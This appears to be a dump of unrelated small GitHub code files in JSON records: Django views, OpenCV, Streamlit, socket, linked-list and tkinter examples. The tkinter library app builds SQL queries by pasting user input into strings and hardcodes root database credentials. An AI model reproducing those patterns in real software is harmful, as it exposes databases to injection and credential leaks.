logout_view, register_view, order_summary, add_to_cart\n\napp_name = 'system'\n\nurlpatterns = [\n path('login/', login_view, name='login'),\n path('logout/', logout_view, name='logout'),\n path('register/', register_view, name='register'),\n path('', home_view, name='home'),\n path('order', order_summary, name='order-summary'),\n path('add-to-cart//', add_to_cart, name='add-to-cart'),\n path('confirm-order', confirm_order, name='confirm-order')\n]","repo_name":"danielc92/django-order-system","sub_path":"system/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"32702936024","text":"import cv2\nimport numpy as np\nimport mapper\n\n\nimg = cv2.imread(\"test.jpg\")\nimg=cv2.resize(img,(1300,800))\norig = img.copy()\ngray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\nblurr = cv2.GaussianBlur(gray,(5,5),0)\nedged = cv2.Canny(blurr,30,50)\nimg,contours,hierarchy = cv2.findContours(edged,cv2.RETR_LIST,cv2.CHAIN_APPROX_SIMPLE)\ncontours = sorted(contours,key = cv2.contourArea,reverse=True)\ntarget=[]\nfor c in contours:\n p=cv2.arcLength(c,True)\n approx = cv2.approxPolyDP(c,0.02*p,True)\n\n if len(approx)==4:\n target=approx\n break;\napprox = mapper.mapp(target)\npts = np.float32([[0,0],[800,0],[800,800],[0,800]])\nop = cv2.getPerspectiveTransform(approx,pts)\ndst = cv2.warpPerspective(orig,op,(800,800))\n\nwhile(True):\n cv2.imshow(\"Scanned\",dst)\n if cv2.waitKey(1) & 0xFF == ord(\"q\"):\n break\n","repo_name":"yashb007/computer-vision-mini-projects","sub_path":"document scanner/Scanner.py","file_name":"Scanner.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3178316297","text":"import streamlit as st\nimport requests\n\nst.title('ChatGPTサンプル')\n\nUSER_NAME = 'user'\nASSISTANT_NAME = 'assistant'\n\n# セッション状態にチャットログを初期化\nif 'chat_log' not in st.session_state:\n st.session_state.chat_log = []\n\nuser_msg = st.chat_input('質問を具体的に入力してください')\n\nif user_msg:\n # 以前のチャットログを表示\n for chat in st.session_state.chat_log:\n with st.chat_message(chat['name']):\n st.write(chat['msg'])\n\n # ユーザーのメッセージを表示\n with st.chat_message(USER_NAME):\n st.write(user_msg)\n\n# FastAPIバックエンドからアシスタントのレスポンスを取得\n response = requests.post('https://fastapi-o0z4.onrender.com/question', json={'user_msg': user_msg})\n assistant_msg = '' # assistant_msgを初期化\n if response.status_code == 200:\n assistant_msg = response.json().get('answer', '')\n with st.chat_message(ASSISTANT_NAME):\n st.write(assistant_msg)\n else:\n st.error('アシスタントからのレスポンス取得中にエラーが発生しました。')\n\n # チャットログにユーザーメッセージを追加\n st.session_state.chat_log.append({'name': USER_NAME, 'msg': user_msg})\n # レスポンスが正常の場合のみ、アシスタントメッセージを追加\n if assistant_msg:\n st.session_state.chat_log.append({'name': ASSISTANT_NAME, 'msg': assistant_msg})\n","repo_name":"Shinoda492039/FastAPI","sub_path":"streamlit_app.py","file_name":"streamlit_app.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29961242117","text":"\ndef is_prob_matrix(arr):\n if len(arr) != len(arr[0]):\n print (\"Not a square matrix.\")\n return False\n for i in arr:\n for j in i:\n if j > 1 or j < 0:\n print(\"Entries are not probabilities.\")\n return False\n if sum(i) != 1:\n print(\"Rows do not add to 1.\")\n return False\n \n return True\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"TJHwPqtA7DRGKJitB_16.py","file_name":"TJHwPqtA7DRGKJitB_16.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39873488713","text":"from django.core.management.base import BaseCommand\n\nfrom components.metrics.services import MetricsUpdateService\nfrom shared.exceptions import CommandError\n\n\nclass Command(BaseCommand):\n \"\"\"Команда для обновления погодных метрик\"\"\"\n\n __metrics_service_class = MetricsUpdateService\n help = 'Обновляет информацию для графиков из api open-meteo'\n\n def __init__(self, *args, **kwargs):\n super(Command, self).__init__(*args, **kwargs)\n self.__metrics_service_class = self.__metrics_service_class()\n self.is_success_command = True\n\n def handle(self, *args, **kwargs):\n self.stdout.write(self.style.SUCCESS('Инициализировано обновление информации из api open-meteo'))\n try:\n self.__metrics_service_class.startup_updating()\n except CommandError as e:\n self.stdout.write(self.style.ERROR(e))\n self.is_success_command = False\n except Exception as e:\n self.stdout.write(self.style.ERROR(f'Получена неожиданная ошибка: {e}'))\n\n if self.is_success_command:\n self.stdout.write(self.style.SUCCESS('Обновление информации из api open-meteo успешно завершено'))\n","repo_name":"thebadfordota/Robolife2","sub_path":"backend/components/metrics/management/commands/update_metrics.py","file_name":"update_metrics.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"ru","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"2336219963","text":"from tkinter import *\r\n\r\nimport mysql.connector as msql\r\nfrom tkinter import messagebox\r\n\r\nmycon=msql.connect(host='localhost', user='root', passwd='root', database='lib')\r\n\r\ncur=mycon.cursor()\r\ndef issue():\r\n global bookInfo1 ,bookInfo2, bookInfo3, bookInfo4, Canvas1, mycon, cur, bookTable, root\r\n global issueBtn,labelFrame,lb1,inf1,inf2,inf3,quitBtn,root,Canvas1,status\r\n bookTable = \"books\"\r\n issueTable = \"books_issued\" \r\n allBid = []\r\n bid = inf1.get()\r\n issueto = inf2.get()\r\n issuedate = inf3.get()\r\n issueBtn.destroy()\r\n labelFrame.destroy()\r\n lb1.destroy()\r\n inf1.destroy()\r\n inf2.destroy()\r\n inf3.destroy()\r\n \r\n extractBid = \"select bid from \"+bookTable\r\n try:\r\n cur.execute(extractBid)\r\n \r\n for i in cur:\r\n allBid.append(i[0])\r\n mycon.commit()\r\n if bid in allBid:\r\n checkAvail = \"select status from \"+bookTable+\" where bid = '\"+bid+\"'\"\r\n cur.execute(checkAvail)\r\n \r\n for i in cur:\r\n check = i[0]\r\n \r\n if check == 'avail':\r\n status = True\r\n else:\r\n status = False\r\n mycon.commit()\r\n else:\r\n messagebox.showinfo(\"Error\",\"Book ID not present\")\r\n except:\r\n messagebox.showinfo(\"Error\",\"Can't fetch Book IDs\")\r\n \r\n issueSql = \"insert into \"+issueTable+\" values ('\"+bid+\"','\"+issueto+\"','\"+issuedate+\"')\"\r\n show = \"select * from \"+issueTable\r\n \r\n updateStatus = \"update \"+bookTable+\" set status = 'issued' where bid = '\"+bid+\"'\"\r\n try:\r\n if bid in allBid and status == True:\r\n cur.execute(issueSql)\r\n mycon.commit()\r\n cur.execute(updateStatus)\r\n mycon.commit()\r\n messagebox.showinfo('Success',\"Book Issued Successfully\")\r\n root.destroy()\r\n else:\r\n allBid.clear()\r\n messagebox.showinfo('Message',\"Book Already Issued\")\r\n root.destroy()\r\n return\r\n except:\r\n messagebox.showinfo(\"Search Error\",\"The value entered is wrong, Try again\")\r\n print(bid)\r\n print(issueto)\r\n \r\n allBid.clear()\r\n\r\ndef issueBook(): \r\n \r\n global issueBtn,labelFrame,lb1,inf1,inf2,inf3,quitBtn,root,Canvas1,status\r\n \r\n root = Tk()\r\n root.title(\"Library\")\r\n root.minsize(width=400,height=400)\r\n root.geometry(\"600x500\")\r\n \r\n Canvas1 = Canvas(root)\r\n Canvas1.config(bg=\"#12a4d9\")\r\n Canvas1.pack(expand=True,fill=BOTH)\r\n headingFrame1 = Frame(root,bg=\"#FFBB00\",bd=5)\r\n headingFrame1.place(relx=0.25,rely=0.1,relwidth=0.5,relheight=0.13)\r\n \r\n headingLabel = Label(headingFrame1, text=\"Issue Book\", bg='black', fg='white', font=('Courier',15))\r\n headingLabel.place(relx=0,rely=0, relwidth=1, relheight=1)\r\n \r\n labelFrame = Frame(root,bg='black')\r\n labelFrame.place(relx=0.1,rely=0.3,relwidth=0.8,relheight=0.5) \r\n \r\n # Book ID\r\n lb1 = Label(labelFrame,text=\"Book ID : \", bg='black', fg='white')\r\n lb1.place(relx=0.05,rely=0.2)\r\n \r\n inf1 = Entry(labelFrame)\r\n inf1.place(relx=0.3,rely=0.2, relwidth=0.62)\r\n \r\n # Issued To Student name \r\n lb2 = Label(labelFrame,text=\"Issued To : \", bg='black', fg='white')\r\n lb2.place(relx=0.05,rely=0.4)\r\n \r\n inf2 = Entry(labelFrame)\r\n inf2.place(relx=0.3,rely=0.4, relwidth=0.62)\r\n \r\n lb3 = Label(labelFrame,text=\"Issued Date : \", bg='black', fg='white')\r\n lb3.place(relx=0.05,rely=0.6)\r\n \r\n inf3 = Entry(labelFrame)\r\n inf3.place(relx=0.3,rely=0.6, relwidth=0.62)\r\n #Issue Button\r\n issueBtn = Button(root,text=\"Issue\",bg='#d1ccc0', fg='black',command=issue)\r\n issueBtn.place(relx=0.28,rely=0.9, relwidth=0.18,relheight=0.08)\r\n \r\n quitBtn = Button(root,text=\"Quit\",bg='#aaa69d', fg='black', command=root.destroy)\r\n quitBtn.place(relx=0.53,rely=0.9, relwidth=0.18,relheight=0.08)\r\n \r\n root.mainloop()","repo_name":"Sid1125/LibraryManagementSystem","sub_path":"CS_Project/IssueBook.py","file_name":"IssueBook.py","file_ext":"py","file_size_in_byte":3990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39439032097","text":"from django.shortcuts import render\nfrom .models import News, Kind, Tags\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.generic.edit import CreateView, UpdateView, DeleteView\nfrom django.utils.translation import gettext_lazy as _\nfrom django.core.exceptions import ValidationError\nfrom django.db.models import F, Q\n# from .models import Author\n# Create your views here.\n# 这个函数是给首页提供支持的\n\ndef index(request):\n # 这里是用来获取你希望在首页上显示的内容\n news = News.objects.all().order_by('-time')\n if news.count() != 0:\n top_news = news[0]\n else:\n top_news = None\n # 返回的这个 context 是个字典(变量集) 写 html 的时候会用里面的东西\n return render(\n request,\n 'index.html',\n context={'top_news': top_news},\n )\n\n# 使用 generic 也行,但感觉有点意义不明\n# from django.views import generic\n\ndef news(request):\n news_list = News.objects.all()\n context = {'news_list': news_list}\n return render(request, 'news.html', context)\n\ndef news_detail(request, newsId):\n news = News.objects.get(newsId=newsId)\n return render(request, 'news_detail.html', context={'news': news})\n\ndef tags(request):\n tags_list = Tags.objects.all().order_by('name')\n num_tags = tags_list.count()\n context = {'tags_list': tags_list, 'num_tags': num_tags}\n return render(request, 'tags.html', context=context)\n\ndef tags_detail(request, tagId):\n news_list = News.objects.filter(tags__tagId__icontains=tagId)\n tag = Tags.objects.get(tagId=tagId)\n context = {'news_list': news_list, 'tag': tag}\n return render(request, 'tags_detail.html', context=context)\n\n@login_required\ndef mynews(request):\n # 也可以使用 request.user.is_authenticated\n news_list = News.objects.filter(author=request.user)\n news_cnt = news_list.count()\n context = { 'news_list': news_list, 'news_cnt': news_cnt }\n return render(request, 'my_news.html', context=context)\n\nclass NewsCreate(CreateView):\n model = News\n fields = ['title', 'tags', 'kind', 'text', 'image']\n def form_valid(self, form):\n if self.request.user.is_authenticated:\n form.instance.author = self.request.user\n else:\n raise ValidationError(_('Please login first'))\n return super(NewsCreate, self).form_valid(form)\n\nclass NewsUpdate(UpdateView):\n model = News\n fields = ['title', 'tags', 'kind', 'text', 'image']\n def form_valid(self, form):\n if self.request.user.is_authenticated:\n if form.instance.author != self.request.user:\n raise ValidationError(_('你只能更新自己的动态哦(⊙o⊙)?'))\n else:\n raise ValidationError(_('没登陆不能发帖的!快加入我们'))\n # form.instance.time = timezone.now\n return super(NewsUpdate, self).form_valid(form)\n\ndef search(request):\n s = request.GET.get('s', None)\n if s is None:\n return render(request, 'search.html')\n news_list = News.objects.filter(Q(title__contains=s) | Q(text__contains=s) | Q(kind__name__contains=s) | Q(author__username__contains=s)).distinct()\n context = {\n \"news_list\": news_list,\n \"query\": s\n }\n return render(request, 'search.html', context=context)","repo_name":"Qing-LKY/EasyNews","sub_path":"catalog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3324,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"33745098431","text":"# coding = utf-8\r\n# @Time: 2021/6/4 16:32\r\n# @Author: 任添宁\r\n# @File: 服务端.py\r\n# @Software: PyCharm\r\n\r\n'''前提学习'''\r\n'''\r\n1.socket模块:要创建套接字,必须使用套接字模块中的socket.socket()函数,该函数具有一般语法s = socket.socket (socket_family, socket_type, protocol = 0)\r\n2.socket_family: 它的值可以是:AF_UNIX或AF_INET\r\n3.socket_type: 它的值可以是:SOCK_STREAM或SOCK_DGRAM。\r\n\r\n1.s.bind()此方法将地址(主机名,端口号对)绑定到套接字。\r\n2.s.recvfrom()此方法接收UDP消息,返回值是一对(字节, 地址) ,其中字节是代表接收到的数据的字节对象,而地址是发送数据的套接字的地址\r\n3.s.sendto()此方法发送UDP消息,将数据发送到套接字。该套接字不应连接到远程套接字,因为目标套接字是由address指定的\r\n4.s.close()此方法关闭套接字,套接字对象上所有以后的操作都将失败。远端将不再接收任何数据(在清除排队的数据之后)。套接字在被垃圾回收时会自动关闭\r\n5.s.gethostname()返回主机名,返回一个字符串,其中包含当前正在执行Python解释器的计算机的主机名。\r\n'''\r\n\r\n#sever.py\r\n\r\nimport socket\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\n\r\nhost = socket.gethostname()\r\n\r\nport = 8088\r\n\r\ns.bind((host,port))\r\nwhile True:\r\n try:\r\n receive_data, addr = s.recvfrom(1024)\r\n\r\n print(\"来自服务器\" + str(addr) + \"的消息:\")\r\n\r\n print(receive_data.decode('utf-8'))\r\n\r\n msg = input('please input send to msg:')\r\n\r\n s.sendto(msg.encode('utf-8'), addr)\r\n\r\n except:\r\n s.close()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Rtianing/python","sub_path":"服务端.py","file_name":"服务端.py","file_ext":"py","file_size_in_byte":1705,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35556415218","text":"# -*- coding: utf-8 -*-\n\nfrom marauder.model.team import Team\nfrom marauder.model.user import User\nfrom marauder.model.channel import Channel\n\n\ndef id_as_key(x):\n return x['id']\n\n\nclass ListObject(object):\n\n def __init__(self, cls, key_func):\n if not callable(key_func):\n raise ValueError('key_func is not callable')\n\n self.cls = cls\n self.key_func = key_func\n self.data = {}\n\n def add(self, v):\n if isinstance(v, self.cls):\n key = self.key_func(v)\n if key is not None:\n self.data[key] = v\n\n def flush(self):\n self.data = {}\n\n\nclass Store(object):\n\n def __init__(self):\n self.team = Team()\n self.current_user = User()\n self.members = ListObject(User, id_as_key)\n self.channels = ListObject(Channel, id_as_key)\n","repo_name":"shonenada-archives/Marauder","sub_path":"marauder/store.py","file_name":"store.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34327711985","text":"import listNode\nfrom listNode import listNode\nfrom listNode import n1\n\ndef deletRepetition(lst):\n pre = listNode(lst.val)\n head = pre\n cur = lst\n while cur != None:\n if pre.val != cur.val:\n pre.next = listNode(cur.val)\n pre = pre.next\n cur = cur.next\n\n return head\n\n# 删除所有重复节点\ndef deletAllRepetition(lst):\n dummy = listNode(0)\n tail = dummy\n pre,cur = lst,lst\n while cur != None and cur.next != None:\n while cur.next != None and cur.val == cur.next.val:\n cur = cur.next\n if pre == cur: # 节点未重复\n tail.next = pre\n tail = tail.next\n cur = cur.next\n pre = cur\n tail.next = cur\n return dummy.next\n\nlistNode.printlist(n1)\nn2 = deletRepetition(n1)\nlistNode.printlist(n2)\nn3 = deletAllRepetition(n1)\nlistNode.printlist(n3)\n","repo_name":"xuemei-ye/Algorithm-DataStructure","sub_path":"linkList/deletRepetition.py","file_name":"deletRepetition.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25970678231","text":"#!/usr/bin/python3\n\"\"\" Safe integer print with error message \"\"\"\nimport sys\n\n\ndef safe_function(fct, *args):\n \"\"\"function that executes a function safely.\n\n Args:\n fct: a pointer to a function.\n args: function's args.\n \"\"\"\n try:\n return(fct(*args))\n except BaseException as err:\n sys.stderr.write(f'Exception: {err}\\n')\n return None\n","repo_name":"QuispeFrank/holbertonschool-higher_level_programming","sub_path":"0x05-python-exceptions/101-safe_function.py","file_name":"101-safe_function.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"21312946008","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.overview),\n path('overview/', views.overview),\n path('exchange//', views.exchange_view),\n path('instruments_data//', views.instruments_data),\n path('major_instruments/', views.major_instruments_view),\n path('major_instruments_data//', views.major_instruments_data),\n path('basis', views.basis_view)\n]","repo_name":"lixx11/futures-vis","sub_path":"futures_data/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27047084508","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 27 20:37:30 2018\n\n@author: yiqian\n\"\"\"\n\nclass Solution(object):\n def checkPossibility(self, nums):\n can_modify = True\n \n for i in range(1, len(nums)):\n if nums[i] < nums[i-1]:\n if can_modify: # now is your chance to modify\n if i == 1 or nums[i-2] <= nums[i]:\n # if you can, modify the previous number\n nums[i-1] = nums[i]\n else:\n # you have to modify the current number\n nums[i] = nums[i-1]\n can_modify = False\n else:\n return False\n \n return True","repo_name":"AlexQianYi/Leetcode","sub_path":"665 Non-decreasing Array.py","file_name":"665 Non-decreasing Array.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"33813830710","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu May 16 12:10:56 2019\r\n\r\n@author: sokil\r\n\"\"\"\r\n\r\nimport cv2\r\nimport numpy as np\r\n\r\ncap=cv2.VideoCapture('2019_03_28_11_17_25_745.mp4')\r\nif(not cap.isOpened()):\r\n print('Error opening video')\r\n \r\nheight, width=(int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)),\r\n int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)))\r\n\r\nbgMog1=cv2.createBackgroundSubtractorMOG2()\r\nbgMog2=cv2.createBackgroundSubtractorMOG2(varThreshold=25,detectShadows=False)\r\n\r\nbgKnn1=cv2.createBackgroundSubtractorKNN()\r\nbgKnn2=cv2.createBackgroundSubtractorKNN(dist2Threshold=1000,detectShadows=False)\r\n\r\nAREA_TH=80\r\ndef findObjectAndDraw(blmage, src):\r\n res=src.copy()\r\n blmage=cv2.erode(blmage,None,5)\r\n blmage=cv2.dilate(blmage,None,5)\r\n blmage=cv2.erode(blmage,None,7)\r\n contours, _=cv2.findContours(blmage, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\n cv2.drawContours(src, contours, -1,(255,0,0), 1)\r\n for i, cnt in enumerate(contours):\r\n area=cv2.contourArea(cnt)\r\n if area>AREA_TH:\r\n x,y,width,height=cv2.boundingRect(cnt)\r\n cv2.rectangle(res,(x,y),(x+width,y+height),(0,0,255),2)\r\n return res\r\n\r\nt=0\r\nwhile True:\r\n ret, frame=cap.read()\r\n if not ret:\r\n break\r\n t+=1\r\n print('t=',t)\r\n gray=cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n blur=cv2.GaussianBlur(frame,(5,5),0.0)\r\n \r\n blmage1=bgMog1.apply(blur)\r\n blmage2=bgMog2.apply(blur)\r\n blmage3=bgKnn1.apply(blur)\r\n blmage4=bgKnn2.apply(blur)\r\n dst1=findObjectAndDraw(blmage1,frame)\r\n dst2=findObjectAndDraw(blmage2,frame)\r\n dst3=findObjectAndDraw(blmage3,frame)\r\n dst4=findObjectAndDraw(blmage4,frame)\r\n \r\n cv2.imshow('blmage1',blmage1)\r\n cv2.imshow('bgMog1',dst1)\r\n cv2.imshow('blmage2',blmage2)\r\n cv2.imshow('bgMog2',dst2)\r\n cv2.imshow('blmage3',blmage3)\r\n cv2.imshow('bgKnn1',dst3)\r\n cv2.imshow('blmage4',blmage4)\r\n cv2.imshow('bgKnn2',dst4)\r\n \r\n key=cv2.waitKey(27)\r\n if key==27:\r\n break\r\n \r\nif cap.isOpened():\r\n cap.release()\r\ncv2.destroyAllWindows()","repo_name":"Kimuksung/Var","sub_path":"untitled12.py","file_name":"untitled12.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"657681485","text":"DEFAULT_SETTINGS = {\n # server binding options\n \"HOST\": \"127.0.0.1\",\n \"PORT\": 8080,\n \"DEBUG\": False,\n \"TEMPLATE_PATH\": \"./templates/\",\n\n # default database is in-memory mode\n \"DATABASE_NAME\": \"\",\n\n \"PLUGIN_PATH\": \"./plugins/\",\n \"AVAILABLE_PLUGINS\": [\n ],\n}\n","repo_name":"whatabeautifulmemory/glossy","sub_path":"src/core/default_settings.py","file_name":"default_settings.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"35891887900","text":"\"\"\"Test the script transformer\"\"\"\nimport ast\nimport unittest\n\nimport astor\nimport black\n\nfrom fluxio_parser.transformers import ScriptTransformer\n\n\nclass TestScriptTransformer(unittest.TestCase):\n \"\"\"Tests for the ScriptTransformer class\"\"\"\n\n def _test_transformation(self, before, after):\n \"\"\"Assert that the ``before`` string transformed to the ``after`` string\"\"\"\n tree = ast.parse(before)\n tree = ScriptTransformer().visit(tree)\n source = black.format_str(\n astor.to_source(tree), mode=black.FileMode(line_length=88)\n )\n self.assertEqual(\n source, black.format_str(after, mode=black.FileMode(line_length=88))\n )\n\n def test_no_run_exception(self):\n \"\"\"Should not transform empty exception handler in run method\"\"\"\n before = after = \"\"\"\nclass Test(Task):\n async def run(event, context):\n try:\n raise Foo()\n except:\n pass\n\ndef main(data):\n Test(key=\"test\")\n\"\"\"\n self._test_transformation(before, after)\n","repo_name":"NarrativeScience-old/fluxio-parser","sub_path":"tests/test_script_transformer.py","file_name":"test_script_transformer.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"13451652348","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution(object):\n def preorderTraversal(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[int]\n \"\"\"\n res = []\n st = []\n if root is not None:\n st.append(root)\n while len(st) != 0:\n tmp = st.pop()\n res.append(tmp.val)\n if tmp.right is not None:\n st.append(tmp.right)\n if tmp.left is not None:\n st.append(tmp.left)\n return res\n","repo_name":"Gohar-Ghukasyan/Leetcode","sub_path":"binaryTreePreorderTraversal.py","file_name":"binaryTreePreorderTraversal.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2330377187","text":"\"\"\"\nhttps://leetcode-cn.com/problems/shortest-subarray-with-sum-at-least-k/\n\n\n862. 和至少为 K 的最短子数组\n返回 A 的最短的非空连续子数组的长度,该子数组的和至少为 K 。\n\n如果没有和至少为 K 的非空子数组,返回 -1 。\n\n\n\n示例 1:\n\n输入:A = [1], K = 1\n输出:1\n示例 2:\n\n输入:A = [1,2], K = 4\n输出:-1\n示例 3:\n\n输入:A = [2,-1,2], K = 3\n输出:3\n\n\n提示:\n\n1 <= A.length <= 50000\n-10 ^ 5 <= A[i] <= 10 ^ 5\n1 <= K <= 10 ^ 9\n通过次数10,610提交次数64,612\n在真实的面试中遇到过这道题?\n\"\"\"\n\n\nfrom typing import List\n\n\ndef bsearch(nums, target):\n l, r = 0, len(nums)\n while l < r:\n m = (l + r) >> 1\n if nums[m][0] > target:\n r = m\n else:\n l = m + 1\n\n return l\n\n\n\nclass Solution:\n def shortestSubarray(self, A: List[int], K: int) -> int:\n retval = 1 << 31\n s = 0\n stack = [(0, - 1)]\n for i, e in enumerate(A):\n s += e\n # 说明当前的e一定是个负数\n # 保持stack是一个单调递增栈\n # 但是这样 栈中的元素就不在连续\n while stack and stack[-1][0] >= s:\n stack.pop()\n # 查找prev节点的位置\n j = bsearch(stack, s - K)\n if j > 0:\n # 如果存在该节点 则更新\n # 注意这里的二分查找算法 有稍微的改动\n # 会优先返回最右边符合条件的结果\n retval = min(retval, i - stack[j-1][1])\n\n stack.append((s, i))\n\n return retval if retval < 1 << 31 else -1\n\n\nif __name__ == '__main__':\n A = [44,-25,75,-50,-38,-42,-32,-6,-40,-47]\n K = 19\n print(A, K)\n print(Solution().shortestSubarray(A, K))\n\n\n A = [84,-37,32,40,95]\n K = 167\n print(A, K)\n print(Solution().shortestSubarray(A, K))\n\n\n","repo_name":"ironboxer/leetcode","sub_path":"python/862.py","file_name":"862.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11908052337","text":"\n\nimport time\nimport numpy as np\nimport pandas as pd\nimport streamlit as st\nimport matplotlib.pyplot as plt\nimport re\nfrom PIL import Image\n\nfrom modules.wordcloud import Wordcloud_gen\nfrom modules.tweet_module import Twitter_api\nfrom datapipeline.clean_data import clean_pipeline\nfrom modelling.model_selection import Model\nfrom modules.utils import *\n\n\n# App starts here\n\nst.title('Sentiment Analysis for Corona Virus in Singapore')\n# initialise defaults\n\ninitialised = False\ndatapath = './data/'\n\n\n# Side bar of modules\n\nmodule_selectbox = st.sidebar.selectbox(\n 'Tools',\n ('Sentiment Analysis', 'Data Analysis', 'Sentiment Generator', 'Model Analysis', 'Project Architecture'))\nfilename = file_selector()\n\ndf_default = pd.read_csv(filename)\n\nmodel_selectbox = st.sidebar.selectbox(\n 'Models',\n ('TFidf', 'GRU','LSTM')) \n\n# Module selection\n\nif module_selectbox == 'Sentiment Analysis':\n st.subheader(\"Sentiment Trends\")\n st.write(\"Select Filters\")\n\n if not check_sentiment_exists(df_default):\n st.write(\"csv doesn't have sentiment and created_date columns\")\n \n sortby_selection = st.selectbox('Display by', ('Date', 'Hour', 'Seconds'))\n if sortby_selection == 'Date':\n df_default = pd.read_csv(filename)\n df_sentiment = get_sorted_by_datetime(df_default)\n df_sentiment_dateday = groupby_sentiment_day(df_sentiment)\n df_selected = df_sentiment_dateday\n column = 'created_dateday'\n reload_sentiment_analysis_ui(df_selected, column)\n elif sortby_selection == 'Hour':\n df_default = pd.read_csv(filename)\n df_sentiment = get_sorted_by_datetime(df_default)\n df_sentiment_datehour = groupby_sentiment_hour(df_sentiment)\n df_selected = df_sentiment_datehour\n column = 'created_datehour'\n reload_sentiment_analysis_ui(df_selected, column)\n elif sortby_selection == 'Seconds':\n df_default = pd.read_csv(filename)\n df_sentiment = get_sorted_by_datetime(df_default)\n df_sentiment_seconds = groupby_sentiment_seconds(df_sentiment)\n df_selected = df_sentiment_seconds\n column = 'created_date'\n reload_sentiment_analysis_ui(df_selected, column)\n\n\nelif module_selectbox == 'Data Analysis':\n st.subheader(\"Word cloud for words used in Model training\")\n model_wc_pos_image_path ='./data/pos_wc.png'\n model_wc_neg_image_path ='./data/neg_wc.png'\n model_wc_pos_image = Image.open(model_wc_pos_image_path)\n model_wc_neg_image = Image.open(model_wc_neg_image_path)\n st.image(model_wc_pos_image, caption='', use_column_width=True)\n st.image(model_wc_neg_image, caption='', use_column_width=True)\n \n st.subheader(\"Word cloud analysis of selected dataframe\")\n savepath = './data/generated_wordcloud.png'\n st.write(\"Sentiment Dataframe Preview\")\n st.write(pd.read_csv(filename))\n generate_wordcloud = st.button('Generate Word Cloud')\n if generate_wordcloud:\n with st.spinner(\"Generating wordcloud...\"):\n wc = Wordcloud_gen(datapath=filename, uniquewords='./data/unique_word.txt')\n wc.pipeline(savepath)\n st.image(savepath, caption='', use_column_width=True)\n st.success('Done!')\n\nelif module_selectbox == 'Sentiment Generator':\n st.subheader('Twitter Data Generator')\n st.write(\"This module allows users to generate their own sentiment with given filters\")\n input_keywords = st.text_input(\"Enter targeted keywords\", \"#corona OR #covid\")\n country_dict = {'Singapore':'1.3521,103.8198,30km','London':'51.509865,-0.118092,70km','New York':'40.730610,-73.935242,530km'}\n select_country = st.selectbox('Select Country', ('Singapore','London','New York'))\n input_geocode = country_dict[select_country]\n input_filename = st.text_input(\"Enter output csv filename\", \"user_tweets.csv\")\n input_num_tweets = st.number_input(\"Enter number of tweets to download\", 100)\n twitter_savefile = './data/' + input_filename\n\n gen_twitter_button = st.button('Generate csv')\n tm = Twitter_api()\n model = Model()\n if gen_twitter_button:\n model_selected = model_selectbox \n st.write(\"Model selected: \" + model_selected)\n st.write(\"Loaction: \" + input_geocode)\n st.write(\"Number of tweets to generate: \" + str(input_num_tweets))\n with st.spinner(\"Pulling Twitter Sentiment...\"):\n df_raw_tweets = tm.search(savepath=twitter_savefile, query=input_keywords, searchcount=input_num_tweets, geocode=input_geocode)\n st.write(\"Raw tweets\")\n 